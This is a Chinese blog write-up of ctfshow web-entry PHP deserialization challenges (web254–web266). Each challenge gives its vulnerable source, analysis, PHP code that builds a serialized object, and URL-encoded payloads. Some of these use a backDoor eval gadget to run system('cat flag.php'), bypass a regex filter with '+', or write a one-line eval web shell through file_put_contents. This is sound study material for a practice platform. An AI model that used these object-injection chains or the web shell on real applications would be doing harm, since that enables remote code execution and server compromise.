ctfshow web入门 反序列化（持续更新）

最新推荐文章于 2024-03-24 09:31:55 发布
最新推荐文章于 2024-03-24 09:31:55 发布
阅读量1.2k 收藏 5
点赞数 2
分类专栏： CTF 文章标签： web php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_46270220/article/details/113544126
版权

文章目录

web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

payload:

?username=xxxxxx&password=xxxxxx

web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

想要得到flag，需要触发vipOneKeyGetFlag()函数，需要让isVip这个参数为true，也就是在序列化时，要让isVip=true

序列化代码：

<?php
class ctfShowUser{
    public $isVip=true;
}
$a=new ctfShowUser();
$b=serialize($a);
echo urlencode($b);
?>

payload：

?username=xxxxxx&password=xxxxxx

user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

这题不仅仅需要get传username和password，还需要cookie传一个序列化后的user，可以用burp抓包，在里面将cookie值改为"user=xxxxxx"。（注意：这个值需要经过url编码）
在这里插入图片描述

web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

分析代码，这题和上一题的区别就是get传入的username和password必须不相等。

序列化代码：

<?php
class ctfShowUser{
    public $username='shyshy';
    public $password='xxxxxx';
    public $isVip=true;
}
$a=new ctfShowUser();
$b=serialize($a);
echo urlencode($b);
?>

payload：

?username=shyshy&password=xxxxxx

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22shyshy%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这题eval函数在类backDoor中，可以用类ctfShowUser中的构造函数__construtc()来创建一个新的backDoor对象，在利用backDoor的变量$code来执行cat flag.php

序列化代码：

<?php
class ctfShowUser{
    private $class = ' ';
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat flag.php");';
    }
$a=new ctfShowUser();
$b=urlencode(serialize($a));
echo $b;

payload：

?username=xxxxxx&password=xxxxxx

user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

web258

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这题想过滤“O:数字”的格式，只需要在数字前加一个+，就可以绕过

序列化代码：

<?php
class ctfShowUser
{
    public $class ;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor
{
    public $code='system("cat flag.php");';
}
$a=new ctfShowUser();
$b=urlencode(serialize($a));
echo $b;

payload：

?username=xxxxxx&password=xxxxxx

user=O%3A%2b11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2b8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

web259

大佬的博客看的我有点懵逼，日后一定补上。

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

上一题和这一题之间的跳跃有点大，这题就是序列化的前面要有字符串ctfshow_i_love_36D，那直接get传这个字符串就行
payload：

?ctfshow=ctfshow_i_love_36D

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

首先，ctfshowvip这个类中定义了__wakeup()和__unserialize()两个方法，那么只有__unserialize()会生效，__wakeup()方法会失效。
这题有两个地方，一个是__invoke()方法中的eval()函数，另一个是__destruct()方法中的file_put_contents()函数，这里eval()函数没什么利用点，所以用另一个。
在__unserialize()中，会将username和password拼接起来赋值给$code，然后到__destruct()中与0x36d比较，相等就能写文件，注意这里是==，弱比较，所以877.php==0x36d

<?php
class ctfshowvip{
	public $username;
    public $password;

	public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','<?php @eval($_POST[a]);?>');
echo urlencode(serialize($a));

payload:

vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3B%7D

web262

wp在php反序列化字符串逃逸学习

web263

看这篇博客PHP session反序列化漏洞

web264

和前面反序列化字符串逃逸类似，只不是这里把cookie改成了session，无法通过直接改cookie来实现，而要操作session，相当于把前面两题结合在一起了吧（套起来了）

GET：

?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php，因为if(isset($_COOKIE['msg']))，所以在cookie中添加一个msg=1，即可得到flag

web265

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

这题主要是&的使用，可以本地试下面的代码

<?php
$a = 1;
$b = &$a;
$b = 3;
echo $a;
echo '<br>';
echo $b;

可以发现$a的值随着$b变化，那么这题也让password随着token变化就可以了

poc

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token='a';
        $this->password = &$this->token;
    }
}

$a = new ctfshowAdmin();
echo urlencode(serialize($a));

payload：

?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

web266

<?php
highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

这题如果遇到正则，程序运行会抛出异常，也就无法触发__destruct()魔术方法，而php中类和函数名都不区分大小写，只有变量名区分。

<?php
class ctfshow{
}

$a = new ctfshow();
echo serialize($a);

在post传参时，把ctfshow的c改为大写即可。
请添加图片描述

Lum1n0us
关注
  • 2
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
专栏目录
从一道CTF题学习PHP反序列化漏洞-附件资源
03-02
从一道CTF题学习PHP反序列化漏洞-附件资源
[ctf.show]web入门 反序列化
Huamang的博客
02-20 478
web 254 和反序列化没啥关系，就是代码审计 payload：?username=xxxxxx&password=xxxxxx web 255 账号密码的赋值和上面一样，就是多了一个cookie['user']，用burp抓包解决 highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; p
ctfshow—web入门—反序列化
最新发布
2301_80337881的博客
03-24 843
别看上面乌拉乌拉一大堆，实际上就是要检测你传入的username和password和类中定义的username和password一不一样。所以直接get传参就可以了。
CTFshow-WEB入门-反序列化
feng的博客
02-14 5465
前言 简单的反序列化直接给出payload，有意思的，较为复杂的和我不太会的会分析一波。 web254 ?username=xxxxxx&password=xxxxxx web255 <?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=true; } echo urlencode(serialize(new ctfShowUser())
ctfshow web入门——反序列化
m0_74093152的博客
06-25 709
代码审计，上传username=xxxxxx&password=xxxxxx即可获得flag。
ctfshow web入门反序列化
qq_53063436的博客
11-06 971
魔术变量： __sleep() //在对象被序列化之前运行 __wakeup() //将在反序列化之后立即调用（当反序列化时变量个数与实际不符是会绕过） __construct() //在类实例化时，会触发进行初始化 __destruct() //对象被销毁时触发 __toString()： //当一个对象被当作字符串使用时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //获得一个类的成员变量时调
Java反序列化实战.pdf
08-08
本议题将从那些经典案例入手，分析攻击方和防御方的对抗过程。会从fastjson与weblogic的两个经典漏洞，带大家傲游反序列化的世界。 反序列化入门 Fastjson Weblogic 反序列化防御
shiro反序列化脚本.zip
07-28
需要用到的俩个文件 ysoserial-master.jar 和 poc.py
c#序列化和反序列化
05-24
什么叫反序列化？ 就是再把介质中的东西还原成对象，把石子还原成人的过程。 在进行这些操作的时候都需要这个可以被序列化，要能被序列化，就得给类头加[Serializable]特性。 通常网络程序为了传输安全才这么做。不...
C# xml序列化和反序列化
01-05
C# xml序列化和反序列化
java反序列化工具
11-21
java反序列化工具，覆盖jboss、weblogic、websphere。
ctfshow web入门-反序列化
akxnxbshai的博客
05-19 1178
反序列化中常用的魔术方法： __wakeup() //执行unserialize()时，先会调用这个函数 __sleep() //执行serialize()时，先会调用这个函数 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 __set() //用于将数据写入不可访问的属性 _.
ctfshow web入门 反序列化
Sentiment的博客
12-26 1763
web254
CTFSHOW-WEB入门-反序列化（笔记）
A10ng_的博客
04-14 2664
web254 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: [email protected] # @link: https://ctfer.com */ error_reporting(0); highlight_file(__
CTF-反序列化
qq_61774705的博客
08-15 4208
反序列化
ctfshow 反序列化
..
03-07 3224
web254 读代码后发现题目要求传入的值等于类里面的值 ?username=xxxxxx&password=xxxxxx web255 这里的话得有点改变，得让$this->返回的值为true，所以得构造一下链子如下 <?php class ctfShowUser{ public $isVip; public function __construct(){ $this->isVip=true; } } $a=new ctfShowUser()...
ctfshow-反序列化
m0_74456293的博客
03-17 523
ctfshow-反序列化
ctfshow————反序列化
qq_45655564的博客
06-30 757
web254 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: [email protected] # @link: https://ctfer.com */ error_reporting(0); highlight_file(__
CTFshow——反序列化
D.MIND 的博客
02-28 972
前言：  Bit师傅的：php反序列化详解  Y4师傅的：[CTF]PHP反序列化总结 文章目录web254——小热身web255——web256——web257——web258——加号绕过正则： `/[oc]:\d+:/i`web259——SoapClient与CRLF组合拳web260—— web254——小热身 直接?username=xxxxxx&password=xxxxxx即可，哈哈 web255—— <?php error_reporting(0); highlight_fil
ctfshow反序列化
09-09
引用中的代码展示了一个类`ctfshow`，其中包含了一个`__destruct`方法，该方法...综上所述，ctfshow的反序列化攻击可以通过构造恶意的序列化payload来利用`__destruct`方法或弱比较漏洞来执行任意代码或获取敏感信息。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lum1n0us

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值